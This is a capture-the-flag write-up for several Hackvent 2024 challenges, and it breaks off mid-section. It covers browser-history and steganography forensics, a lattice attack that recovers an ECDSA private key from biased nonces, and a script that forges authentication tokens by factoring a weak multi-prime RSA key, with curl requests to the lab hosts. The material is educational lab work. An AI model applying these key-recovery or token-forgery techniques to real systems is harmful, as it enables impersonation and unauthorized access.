22|https://www.google.com/search?sca_esv=e095c950f9c2c4db&q=dmx+pictures&udm=2&fbs=AEQNm0Aa4sjWe7Rqy32pFwRj0UkWd8nbOJfsBGGB5IQQO6L3J03RPjGV0MznOJ6Likin94pT_oR1DTSof42bOBxoTNxG8rlVtlHpDT0XaodfzKKV1TwR_qbS-aakEhWquIefCsFKaHB0KYQCzwp_KpjBzgqcrYGhvsLLOtjbuCfHDayPjTnT3CUWZbtHp26Caw_fmPEPneFrC2G3lsNMTxsEciHW3aqFEA&sa=X&sqi=2&ved=2ahUKEwiw76rSrqKKAxW0TGwGHc4FEiMQtKgLegQIFBAB&biw=988&bih=605&dpr=1#vhid=iyuLuanuIVWJKM&vssid=mosaic|dmx pictures - Google Search|1|0|13378484688793668|0
23|https://www.google.com/search?q=DMX+fan+club&oq=DMX+fan+club&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQIRigATIHCAIQIRigATIHCAMQIRiPAtIBBzMyMWowajmoAgCwAgE&sourceid=chrome&ie=UTF-8|DMX fan club - Google Search|2|0|13378484694874272|0
24|https://www.google.com/search?q=are+mid+files+dangerous&oq=are+mid+files+dangerous&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQIRigATIHCAIQIRigAdIBBzcyMmowajeoAgewAgE&sourceid=chrome&ie=UTF-8|are mid files dangerous - Google Search|2|0|13378484781204426|0
25|https://www.quora.com/Can-midi-files-be-viruses#:~:text=A%20virus%20can%20only%20reside,Midi%20files%20are%20safe.|Can .midi files be viruses? - Quora|1|0|13378484794064288|0
26|https://www.google.com/search?q=how+to+tell+if+file+is+ransomware&oq=how+to+tell+if+file+is+ransomware&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIICAEQABgWGB4yCAgCEAAYFhgeMggIAxAAGBYYHjINCAQQABiGAxiABBiKBTINCAUQABiGAxiABBiKBTINCAYQABiGAxiABBiKBTIKCAcQABiiBBiJBTIKCAgQABiABBiiBDIKCAkQABiABBiiBNIBCDE1NjNqMGo0qAIAsAIB&sourceid=chrome&ie=UTF-8|how to tell if file is ransomware - Google Search|2|0|13378484799637919|0
27|https://www.google.com/search?q=virustotal&oq=virustotal&gs_lcrp=EgZjaHJvbWUyFAgAEEUYORhDGIMBGLEDGIAEGIoFMgcIARAAGIAEMgcIAhAAGIAEMgcIAxAAGIAEMgcIBBAAGIAEMgcIBRAAGIAEMgcIBhAAGIAEMgcIBxAAGIAEMgcICBAAGIAEMgcICRAAGIAE0gEIMjgzNWowajmoAgCwAgE&sourceid=chrome&ie=UTF-8|virustotal - Google Search|1|0|13378484806477897|0
28|https://www.virustotal.com/|VirusTotal - Home|1|0|13378484823194521|0
29|https://www.virustotal.com/gui/|VirusTotal - Home|2|0|13378484824767865|0
30|https://www.virustotal.com/gui/home/upload|VirusTotal - Home|1|0|13378484825012673|0
31|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|4|2|13378484877820508|0
32|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/summary|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|1|0|13378484844277676|0
33|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/details|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|1|0|13378484854717390|0
34|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/community|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|2|1|13378484866579476|0
35|https://www.google.com/search?q=how+to+permanently+erase+a+file+so+it+is+unrecoverable&oq=how+to+permanently+erase+a+file+so+it+is+unrecoverable&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQIRigATIHCAIQIRigATIHCAMQIRifBdIBCDE3NzNqMGo0qAIAsAIB&sourceid=chrome&ie=UTF-8|how to permanently erase a file so it is unrecoverable - Google Search|2|0|13378484890872274|0
36|https://www.youtube.com/watch?v=dQw4w9WgXcQ|Rick Astley - Never Gonna Give You Up (Official Music Video) - YouTube|1|1|13378484925700056|0
There’s some funny stuff to advance the story, but the important thing is where Prancer starts thinking that perhaps midi files can get viruses, and eventually visits VirusTotal:
24|https://www.google.com/search?q=are+mid+files+dangerous&oq=are+mid+files+dangerous&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQIRigATIHCAIQIRigAdIBBzcyMmowajeoAgewAgE&sourceid=chrome&ie=UTF-8|are mid files dangerous - Google Search|2|0|13378484781204426|0
25|https://www.quora.com/Can-midi-files-be-viruses#:~:text=A%20virus%20can%20only%20reside,Midi%20files%20are%20safe.|Can .midi files be viruses? - Quora|1|0|13378484794064288|0
26|https://www.google.com/search?q=how+to+tell+if+file+is+ransomware&oq=how+to+tell+if+file+is+ransomware&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIICAEQABgWGB4yCAgCEAAYFhgeMggIAxAAGBYYHjINCAQQABiGAxiABBiKBTINCAUQABiGAxiABBiKBTINCAYQABiGAxiABBiKBTIKCAcQABiiBBiJBTIKCAgQABiABBiiBDIKCAkQABiABBiiBNIBCDE1NjNqMGo0qAIAsAIB&sourceid=chrome&ie=UTF-8|how to tell if file is ransomware - Google Search|2|0|13378484799637919|0
27|https://www.google.com/search?q=virustotal&oq=virustotal&gs_lcrp=EgZjaHJvbWUyFAgAEEUYORhDGIMBGLEDGIAEGIoFMgcIARAAGIAEMgcIAhAAGIAEMgcIAxAAGIAEMgcIBBAAGIAEMgcIBRAAGIAEMgcIBhAAGIAEMgcIBxAAGIAEMgcICBAAGIAEMgcICRAAGIAE0gEIMjgzNWowajmoAgCwAgE&sourceid=chrome&ie=UTF-8|virustotal - Google Search|1|0|13378484806477897|0
28|https://www.virustotal.com/|VirusTotal - Home|1|0|13378484823194521|0
29|https://www.virustotal.com/gui/|VirusTotal - Home|2|0|13378484824767865|0
30|https://www.virustotal.com/gui/home/upload|VirusTotal - Home|1|0|13378484825012673|0
31|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|4|2|13378484877820508|0
32|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/summary|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|1|0|13378484844277676|0
33|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/details|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|1|0|13378484854717390|0
34|https://www.virustotal.com/gui/file/5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc/community|VirusTotal - File - 5e875d3743c7e69c2b09d9b9556e08ff1992012bb25d73e080d8db3b72fbe9bc|2|1|13378484866579476|0
It looks like they upload something. The file is Comet’s midi file:
On the community tab there’s a comment from “Prancer_the_reindeer”:
That has a URL for a Google drive copy, which provides the midi file.
Many of the same links can be found in the Default/Shortcuts
SQLite DB, including the VT link directly to the community tab.
midi Steg
The file is Silent Night, and sounds pretty normal. I’ll open it in Audacity to take a look. The lower notes spell out a flag segment!
HV24{#?#jAM#?#?#}
.
Dancer
Update
Dancer sent their update in the form of a PDF, but it’s encrypted:
Comet’s JPG
Comet’s update.jpg
has a lot going on in it beyond the standard JPEG image:
oxdf@hacky$ binwalk Comet/update.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, big-endian, offset of first image directory: 8
294258 0x47D72 PNG image, 512 x 512, 8-bit/color RGBA, non-interlaced
369125 0x5A1E5 PNG image, 512 x 512, 8-bit/color RGBA, non-interlaced
369166 0x5A20E Zlib compressed data, best compression
464936 0x71828 XML document, version: "1.0"
516459 0x7E16B JPEG image data, JFIF standard 1.01
669625 0xA37B9 PNG image, 640 x 640, 8-bit/color RGBA, non-interlaced
I’ll pull the three images and the XML using dd
:
oxdf@hacky$ dd if=Comet/update.jpg of=comet1.png bs=1 skip=294258 count=$((369125 - 294258))
73856 bytes (74 kB, 72 KiB) copied, 4 s, 18.5 kB/s
74867+0 records in
74867+0 records out
74867 bytes (75 kB, 73 KiB) copied, 4.04139 s, 18.5 kB/s
oxdf@hacky$ dd if=Comet/update.jpg of=comet2.png bs=1 skip=369125 count=$((464936 - 369125))
79333 bytes (79 kB, 77 KiB) copied, 5 s, 15.9 kB/s
95811+0 records in
95811+0 records out
95811 bytes (96 kB, 94 KiB) copied, 5.88021 s, 16.3 kB/s
oxdf@hacky$ dd if=Comet/update.jpg of=comet3.png bs=1 skip=669625
196639 bytes (197 kB, 192 KiB) copied, 12 s, 16.4 kB/s
197311+0 records in
197311+0 records out
197311 bytes (197 kB, 193 KiB) copied, 12.0293 s, 16.4 kB/s
oxdf@hacky$ dd if=Comet/update.jpg of=comet.xml bs=1 skip=464936 count=$((516459 - 464936))
49820 bytes (50 kB, 49 KiB) copied, 3 s, 16.6 kB/s
51523+0 records in
51523+0 records out
51523 bytes (52 kB, 50 KiB) copied, 3.11602 s, 16.5 kB/s
The images are:
This suggests that the password to the PDF is the address in the XML.
Get Address
The XML file contains geolocation data:
<?xml version="1.0" encoding="UTF-8"?>^M
<GeolocationData>^M
<Location>2dUURCy1VnuDyonM1oyKq5VoMjApQabrAXxr</Location>^M
<TimeStamp>2024-12-12T14:35:00Z</TimeStamp>^M
<Address>^M
<StreetNumber>REDACTED</StreetNumber>^M
<StreetName>REDACTED</StreetName>^M
<RegExpPattern>^\d{1,5}\s[A-Z][a-z]+\s(?:St|Rd|Cl)$</RegExpPattern>^M
</Address>^M
<Details>^M
<Accuracy>5 meters</Accuracy>^M
<Elevation>25 meters</Elevation>^M
<Provider>GPS</Provider>^M
</Details>^M
</GeolocationData>^M
The Location
value is encoded, and the Address
value has a regex. It looks like base64, but it’s not. It’s actually base58, an encoding commonly used in Bitcoin addresses.
oxdf@hacky$ echo 2dUURCy1VnuDyonM1oyKq5VoMjApQabrAXxr | base58 -d
5130'45.09"N, 013'8.52"W
This maps to the location where RickRoll was filmed:
The address is 154 Freston Rd.
Decrypted PDF
“154 Freston Rd” opens a two page PDF. The first page has a note from Dancer:
The second has the sheet music for Jingle Bells:
Music Sheet Cipher
The Treble clef has the legit notes for Jingle Bells. The Bass clef is off. For one, 16 over 4 as a time doesn’t make any sense when the Treble is 4 over 4:
The notes are the Music Sheet Cipher. I’ll enter it into dcode.fr and it returns a bunch of integers:
These decode in Cyberchef to the flag:
HV24{#ReiNd33r#?#?#?
. Putting the four together makes the final flag.
Flag: HV24{#ReiNd33r#jAM#BEST#ToG3th3r#}
HV24.HH
Challenge
HV24.HH Frosty's Secret | |
---|---|
Categories: | FUN |
Level: | hard |
Author: | mobeigi |
I cannot believe it! This snowman has really hid a flag in one of the hard challenges. Now I’m gonna have to search it and remove it. Grumble, grumble…
Solution
There’s a bunch more data in the Chrome profile. I’ll take a look at all the SQLite DBs by running file
on each and then grep
for SQL:
oxdf@hacky$ find . -exec file {} \; | grep SQL
./segmentation_platform/ukm_db: SQLite 3.x database, last written using SQLite version 3046000, file counter 16, database pages 15, cookie 0xb, schema 4, UTF-8, version-valid-for 16
./first_party_sets.db: SQLite 3.x database, last written using SQLite version 3046000, file counter 5, database pages 12, cookie 0xa, schema 4, UTF-8, version-valid-for 5
./Default/Favicons: SQLite 3.x database, last written using SQLite version 3046001, page size 2048, file counter 20, database pages 36, cookie 0x8, schema 4, UTF-8, version-valid-for 20
./Default/heavy_ad_intervention_opt_out.db: SQLite 3.x database, last written using SQLite version 3046000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
./Default/SharedStorage: SQLite 3.x database, last written using SQLite version 3046000, file counter 2, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 2
./Default/Web Data: SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 6, database pages 59, cookie 0x25, schema 4, UTF-8, version-valid-for 6
./Default/History: SQLite 3.x database, last written using SQLite version 3046001, file counter 18, database pages 64, cookie 0x21, schema 4, UTF-8, version-valid-for 18
./Default/WebStorage/QuotaManager: SQLite 3.x database, last written using SQLite version 3046000, file counter 4, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 4
./Default/BrowsingTopicsSiteData: SQLite 3.x database, last written using SQLite version 3046000, file counter 3, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 3
./Default/MediaDeviceSalts: SQLite 3.x database, last written using SQLite version 3046000, file counter 1, database pages 6, cookie 0x3, schema 4, UTF-8, version-valid-for 1
./Default/Shared Dictionary/db: SQLite 3.x database, last written using SQLite version 3046000, file counter 9, database pages 11, cookie 0x8, schema 4, UTF-8, version-valid-for 9
./Default/PrivateAggregation: SQLite 3.x database, last written using SQLite version 3046000, file counter 2, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 2
./Default/Top Sites: SQLite 3.x database, last written using SQLite version 3046000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
./Default/Login Data For Account: SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
./Default/DIPS: SQLite 3.x database, last written using SQLite version 3046000, file counter 5, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 5
./Default/Conversions: SQLite 3.x database, last written using SQLite version 3046000, file counter 2, database pages 27, cookie 0x16, schema 4, UTF-8, version-valid-for 2
./Default/Login Data: SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 2
./Default/Safe Browsing Network/Safe Browsing Cookies: SQLite 3.x database, last written using SQLite version 3046000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
./Default/Network Action Predictor: SQLite 3.x database, last written using SQLite version 3046000, file counter 8, database pages 25, 1st free page 17, free pages 12, cookie 0x7, schema 4, UTF-8, version-valid-for 8
./Default/Affiliation Database: SQLite 3.x database, last written using SQLite version 3046000, file counter 6, database pages 20, cookie 0x8, schema 4, UTF-8, version-valid-for 6
./Default/Network/Trust Tokens: SQLite 3.x database, last written using SQLite version 3046000, file counter 5, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 5
./Default/Network/Cookies: SQLite 3.x database, last written using SQLite version 3046000, file counter 22, database pages 22, cookie 0x3, schema 4, UTF-8, version-valid-for 22
./Default/Network/Reporting and NEL: SQLite 3.x database, last written using SQLite version 3046000, file counter 26, database pages 24, cookie 0x4, schema 4, UTF-8, version-valid-for 26
./Default/Shortcuts: SQLite 3.x database, last written using SQLite version 3046000, file counter 5, database pages 7, cookie 0x2, schema 4, UTF-8, version-valid-for 5
./Default/AggregationService: SQLite 3.x database, last written using SQLite version 3046000, file counter 1, database pages 13, cookie 0xa, schema 4, UTF-8, version-valid-for 1
sqlite3 [db_file] .dump | less
is a nice command to quickly triage these databases.
The Favicons
database has a table with information about the site (favicons
) as well as the raw image data (favicon_bitmaps
):
oxdf@hacky$ sqlite3 Favicons
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
favicon_bitmaps favicons icon_mapping meta
I’ll write a quick bash
one-liner to get all the PNG data as hex, decode it, and save it to a file:
oxdf@hacky$ cnt=1; sqlite3 Favicons .dump | grep INSERT | grep favicon_bitmaps | while read line; do imgid=$(echo "$line" | cut -d, -f2); echo "$line" | cut -d"'" -f2 | xxd -r -p > "../../../chrome_favicons/${cnt}_${imgid}.png"; ((cnt++)); done
After running this, I have a directory with the favicons:
One is a QRCode! It’s from image ID 10, which is for the Hackvent site for the hidden challenge!
oxdf@hacky$ sqlite3 Favicons .dump | grep INSERT | grep icon_mapping | grep "10);"
INSERT INTO icon_mapping VALUES(37,'https://competition.hacking-lab.com/events/160/curriculumevents/162/challenges/1305',10);
And it has the flag:
oxdf@hacky$ zbarimg 17_10.png
QR-Code:HV24{n0_0n3_3v3r_n071c35_7h3_f4v1c0n}
scanned 1 barcode symbols from 1 images in 0 seconds
Flag: HV24{n0_0n3_3v3r_n071c35_7h3_f4v1c0n}
Some DB GUI tools can also just show the images directly from the DB. For example, sqlitebrowser
:
HV24.16
Challenge
HV24.16 Santa's Signatures | |
---|---|
Categories: | CRYPTO |
Level: | hard |
Author: | kuyaya |
Because of new bureaucratic regulations, Santa has to sign every package that he sends out. So far, he has always used his drawing pad to sign manually but lately, he has been getting hand cramps and the doctor recommended him to try out digital signatures. Thus, he has tasked one of his elves to implement such a system and has published 4 digital signatures of his favourite lyrics to the world. Unfortunately, you didn’t have the time to ask him for more samples…
The challenge comes with two downloads, a python script and the output:
oxdf@hacky$ file santas-signatures.py
santas-signatures.py: Python script, ASCII text executable
oxdf@hacky$ cat output.txt
r = [382825619053484650723101111089716481637169498894438388011, 2846338329314931410625679965921020604974471932472870479272, 4539748290341241446856454569550628724992441965649378727404, 941682904620798018129415714406121176743478727872983123639]
s = [1053747182506109288607080233885972025033725041930583121945, 271361922488295908863717359631373504169617539839833749415, 1147747170412930491481269098330085803226817442551773675299, 3831443458083168767818771718543562148023158622090413416724]
The Python script is pretty short (other than the RickRoll used as the message):
from ecdsa import SigningKey, NIST192p
from hashlib import sha256
import os
from hackvent import flag
private_key = SigningKey.generate(curve=NIST192p)
public_key = private_key.get_verifying_key()
curve = NIST192p
n = curve.order
message = b"""
We're no strangers to love
You know the rules and so do I (do I)
...[snip]...
"""
r_list = []
s_list = []
h = int.from_bytes(sha256(message).digest(), "big") % n
for _ in range(4):
k = int.from_bytes(flag + os.urandom(4), "big")
assert k < n
r = (k * curve.generator).x() % n
s = (pow(k, -1, n) * (h + r * private_key.privkey.secret_multiplier)) % n
r_list.append(int(r))
s_list.append(int(s))
print("r =", r_list)
print("s =", s_list)
Solution
The issue here is ECDSA when the nonce (k
) is not truly random. There’s a nice blog from Trail of Bits, ECDSA: Handle with Care, and a more math-heavy talk from IACR, Biased Nonce Sense Lattice attacks against weak ECDSA signatures in the wild that provide a lot of background that is too mathy for me to explain in depth.
I’ll use the text there to build this script. It will generate a matrix, reduce it using lattice math, and then generate possible private keys. From those keys I’ll calculate the nonces, and when one starts with “HV24{“, I’ll know it’s the flag:
import ecdsa
from hashlib import sha256
import olll
n = ecdsa.NIST192p.order
message = b"""
We're no strangers to love
You know the rules and so do I (do I)
...[snip]...
Never gonna tell a lie and hurt you
"""
mod_inv = lambda x, p: pow(x, -1, p)
h = int.from_bytes(sha256(message).digest(), "big") % n # 5451444470609933768673875739190099258978652043860043513059
B = 32 # 32 bits of random non-matching values in nonce
r = [382825619053484650723101111089716481637169498894438388011, 2846338329314931410625679965921020604974471932472870479272, 4539748290341241446856454569550628724992441965649378727404, 941682904620798018129415714406121176743478727872983123639]
s = [1053747182506109288607080233885972025033725041930583121945, 271361922488295908863717359631373504169617539839833749415, 1147747170412930491481269098330085803226817442551773675299, 3831443458083168767818771718543562148023158622090413416724]
matrix = [
[n, 0, 0, 0, 0, 0],
[0, n, 0, 0, 0, 0],
[0, 0, n, 0, 0, 0],
[0, 0, 0, n, 0, 0],
[],
[]
]
rnsn_inv = r[-1] * mod_inv(s[-1], n)
mnsn_inv = h * mod_inv(s[-1], n)
for i in range(len(r)):
matrix[-2].append(r[i] * mod_inv(s[i], n) - rnsn_inv)
matrix[-1].append(h * mod_inv(s[i], n) - mnsn_inv)
matrix[-2].extend([int(2**B) / n, 0])
matrix[-1].extend([0, 2**B])
new_matrix = olll.reduction(matrix, 0.75)
keys = []
for row in new_matrix:
potential_nonce_diff = row[0]
potential_priv_key = (s[-1] * h) - (s[0] * h) - (s[0] * s[-1] * potential_nonce_diff)
potential_priv_key *= mod_inv((r[-1] * s[0]) - (r[0] * s[-1]), n)
potential_priv_key = potential_priv_key % n
keys.append(potential_priv_key)
for rr, ss, key in zip(r, s, keys):
k = (mod_inv(ss, n) * (h + rr * key)) % n
if hex(k).startswith("0x485632347b"):
print(bytes.fromhex(hex(k)[2:-8]).decode())
It works:
oxdf@hacky$ python solve.py
HV24{just_us3_EdDSA}
Flag: HV24{just_us3_EdDSA}
HV24.17
Challenge
HV24.17 Santa's Not So Secure Encryption Platform | |
---|---|
Categories: |
WEB_SECURITY CRYPTO FUN |
Level: | hard |
Author: | xtea418 |
One day, Santa wanted some platform to encrypt things, so he asked one of his elves. Unfortunately for Santa the elf he asked was a “Bricoleur” or “Bastler”.
The closest one can describe the application is probably something along the lines of “Security through obscurity, minus the security”.
Start the website and get the flag.
There’s a download and a Docker instance. The download is a Python FastAPI project. There’s no GUI or HTML, just an API.
RSA
There’s an “RSA” implementation that’s implemented in crypto/rsa.py
:
@dataclass
class RSA:
"""RSA for signing and verifying signatures.
Example:
-------
>>> p = getPrime(2048)
>>> q = getPrime(2048)
>>> rsa = RSA([p, q])
>>> msg = b"HV24{n4v3r_g0nn4_g1v3_y0u_4_fl4g_(f4ke_fl4g)}"
>>> hash = hashlib.sha256(msg).digest()
>>> signature = rsa.sign(hash)
>>> rsa.verify(hash, signature)
True
>>> rsa.verify(hashlib.sha256(b"message from funny user").digest(), signature)
False
"""
ps: list[int]
e: int = 0x10001
@property
def phi(self) -> int:
return reduce(mul, map(lambda p: p - 1, self.ps), 1)
@property
def d(self) -> int:
return pow(self.e, -1, self.phi)
@property
def n(self) -> int:
return reduce(mul, self.ps, 1)
def _encrypt(self, msg: bytes) -> bytes:
return long_to_bytes(pow(bytes_to_long(msg), self.e, self.n))
def _decrypt(self, ciphertext: bytes) -> bytes:
return long_to_bytes(pow(bytes_to_long(ciphertext), self.d, self.n))
def sign(self, msg: bytes) -> bytes:
hashed_msg = hashlib.sha256(msg).digest()
return self._decrypt(hashed_msg)
def verify(self, msg: bytes, signature: bytes) -> bool:
hashed_msg = hashlib.sha256(msg).digest()
decrypted_signature = self._encrypt(signature)
return hashed_msg == decrypted_signature
@property
def public_key(self):
return {"N": self.n, "e": self.e}
@classmethod
def new(cls, n=25):
return cls([getPrime(42) for _ in range(n)])
It’s pretty standard RSA, except that that the new
method creates a new instance with 25 primes where they would typically be just 2 (p
and q
). There’s an endpoint, /api/crypto/rsa
that will dump the public key:
@crypto_router.get("/rsa")
def rsa_public_key(rsa: GlobalRSA) -> dict:
"""RSA Public Key."""
return rsa.public_key
It has no auth, so I can just dump it:
oxdf@hacky$ curl 152.96.15.2:8000/api/crypto/rsa
{"N":397416404815421210269095730006622770270493375607763745369769081260051441517406595295848534537514143552386978011134871660921486280414595757163583268464277301262555389138854929441988100282805747854160356150984002014323630737084393800550243809155524267537714913975850686503404979233626877266712070855221193542528911,"e":65537}
A site like Integer factorization calculator will factor this quickly:
There’s 25 prime factors.
Token
Register / Login
There are endpoints to register and login, and to check tokens. I can register:
oxdf@hacky$ curl 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land:8000/api/auth/register -H "Content-Type: application/json" -d '{"username": "0xdf", "email": "0xdf@aol.com", "password": "0xdf0xdf"}'
{"id":2,"username":"0xdf","email":"0xdf@aol.com","password":"**********"}
With that, I can login and it sets a token as the seauthtoken
:
oxdf@hacky$ curl -v 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land:8000/api/auth/login -H "Content-Type: application/json" -d '{"username": "0xdf", "password": "0xdf0xdf"}'; echo
* Host 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land:8000 was resolved.
* IPv6: (none)
* IPv4: 152.96.15.7
* Trying 152.96.15.7:8000...
* Connected to 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land (152.96.15.7) port 8000
> POST /api/auth/login HTTP/1.1
> Host: 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land:8000
> User-Agent: curl/8.5.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 44
>
< HTTP/1.1 204 No Content
< date: Tue, 17 Dec 2024 17:45:35 GMT
< server: uvicorn
< content-type: application/json
< set-cookie: seauthtoken=eyJzdWIiOiAyLCAiZXhwIjogIjIwMjQtMTItMTdUMTg6MDA6MzYuMjA5NTMxKzAwOjAwIn0.oycXuA67wVawrpI7jKhO2CUWm4rnU3jVmB0sZ28up6pscKDhwaLwKklvmvCPugxZb7VsgsEAoqFpJkw31IDCbTTAAo8dsWn2e7m0Q6kF_II2XVoIeMMYtPS_fLJjtDsV2gA9GlSL3Qc5aopMGtLCSDvL6W3Ly0kna6uGzmUFVZOF4A; expires=Tue, 17 Dec 2024 18:00:36 GMT; HttpOnly; Path=/; SameSite=lax; Secure
<
* Connection #0 to host 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land left intact
Using that token validates on the status
endpoint:
oxdf@hacky$ curl 65286ff5-0beb-45af-864a-57b8204e1269.r.vuln.land:8000/api/auth/status -b "seauthtoken=eyJzdWIiOiAyLCAiZXhwIjogIjIwMjQtMTItMTdUMTg6MDA6MzYuMjA5NTMxKzAwOjAwIn0.oycXuA67wVawrpI7jKhO2CUWm4rnU3jVmB0sZ28up6pscKDhwaLwKklvmvCPugxZb7VsgsEAoqFpJkw31IDCbTTAAo8dsWn2e7m0Q6kF_II2XVoIeMMYtPS_fLJjtDsV2gA9GlSL3Qc5aopMGtLCSDvL6W3Ly0kna6uGzmUFVZOF4A"; echo
{"authorized":true}
Forge Tokens
The “JWT” token implementation uses the RSA instance to sign tokens:
def encode(self, payload: dict[str], requires_expiry=True) -> str:
if "exp" not in payload and requires_expiry:
raise SJWTEncodingError("Sir we need an expiry on the token!")
as_string = dumps(payload)
_body = as_string.encode()
sig = b64encode(self.rsa.sign(_body))
body = b64encode(_body)
return body + "." + sig
That means I can do the same thing and forge my own:
import json
import requests
import sys
from base64 import b64encode
from sympy import factorint
from challenge.api.santas_encryption.crypto.rsa import RSA
resp = requests.get(f"http://{sys.argv[1]}:8000/api/crypto/rsa")
n = resp.json()["N"]
try:
with open('factors.json', 'r') as f:
all_factors = json.load(f)
except (FileNotFoundError, json.decoder.JSONDecodeError):
all_factors = {}
if str(n) not in all_factors:
factors = factorint(n)
all_factors[str(n)] = [p for p in factors]
with open('factors.json', 'w') as f:
json.dump(all_factors, f)
factors = all_factors[str(n)]
rsa = RSA(factors)
data = {"sub": 1, "exp": "2025-12-17T18:00:36.209531+00:00"}
data_str = json.dumps(data).encode()
sig = b64encode(rsa.sign(data_str)).decode().strip("=")
body = b64encode(data_str).decode().strip("=")
print(f"{body}.{sig}")
Factoring with Python is a bit slow, so I’ll cache the primes in a file and only re-factor if I get a new instance. It generates a token:
oxdf@hacky$ python craft_jwt.py 152.96.15.2
eyJzdWIiOiAxLCAiZXhwIjogIjIwMjUtMTItMTdUMTg6MDA6MzYuMjA5NTMxKzAwOjAwIn0.AZdCyZv8nBvpQj3BLtY5XCSDNfoBIMziMAEFLxTuCUZhUBORcc0E+qNWlSHFcRhgSBXy2ro5VR9kRFynh/vGiLOue4+4DAWzptl7YgjbIsXKcRllcecPzBDIBoBK7ZJ8CBqjLXqQYHW2e2wwCPbiUbah9uUr6bwO6XUd5I2ILlGArQ
Which is accepted:
oxdf@hacky$ token=eyJzdWIiOiAxLCAiZXhwIjogIjIwMjUtMTItMTdUMTg6MDA6MzYuMjA5NTMxKzAwOjAwIn0.AZdCyZv8nBvpQj3BLtY5XCSDNfoBIMziMAEFLxTuCUZhUBORcc0E+qNWlSHFcRhgSBXy2ro5VR9kRFynh/vGiLOue4+4DAWzptl7YgjbIsXKcRllcecPzBDIBoBK7ZJ8CBqjLXqQYHW2e2wwCPbiUbah9uUr6bwO6XUd5I2ILlGArQ
oxdf@hacky$ curl 152.96.15.2:8000/api/auth/status -b "seauthtoken=$token"
{"authorized":true}
Flag Challenge
Flag Endpoint
There’s a /api/crypto/flag
endpoint that returns the encrypted flag:
@crypto_router.get("/flag")
def flag(
user: AuthorizedUser,
key: GlobalSEAESEKey,
rsa: GlobalRSA,
):
"""Encrypted Flag."""
iv = long_to_bytes(randbits(16 * 8))
# TODO: handle this better
while len(iv) != 16:
iv = long_to_bytes(randbits(16 * 8))
cipher = SEAESECipher(key=key, iv=iv, rsa=rsa)
ciphertext, signature = cipher.encrypt(FLAG)
return {
"ciphertext": encode(ciphertext),
"signature": encode(signature),
"iv": encode(iv),
}
The same instance of RSA is used throughout the application. I don’t have access to the global key. I have to be any authorized user, so either my registered token or my forged token will work:
oxdf@hacky$ curl 152.96.15.2:8000/api/crypto/flag -b "seauthtoken=$token"
{"ciphertext":"D1FAcLHnKyl3fmqTcrZqsBwPR-1AAxWnmIskWCOYrEHmfFt2lqdcUA5WOLHdJltTuLTjJi2dX6yi0KnJFXONpFYp3iDflAgMKzYT4IfWgwU","signature":"JRiC7PFU_LqUJNqOGW8TX7ZhsgvmmDmQFdBjYr5obm7_Ma5LjEFPE8MkYe2-pXbNbaVomsVfMI8jsaQvHNCBmMgD-c1-NMClisMTsT6iGYNCfzN1H-Xi9mn9CWGg5KVfALHnfTXYcZ2Ey6MmVzeJsfipBOOiPB9vgKuMiJqJydlc","iv":"SYSSsfYnsa9DWg0CtCdJWA"}
Decrypt Endpoint
There’s a /api/crypto/decrypt
endpoint as well:
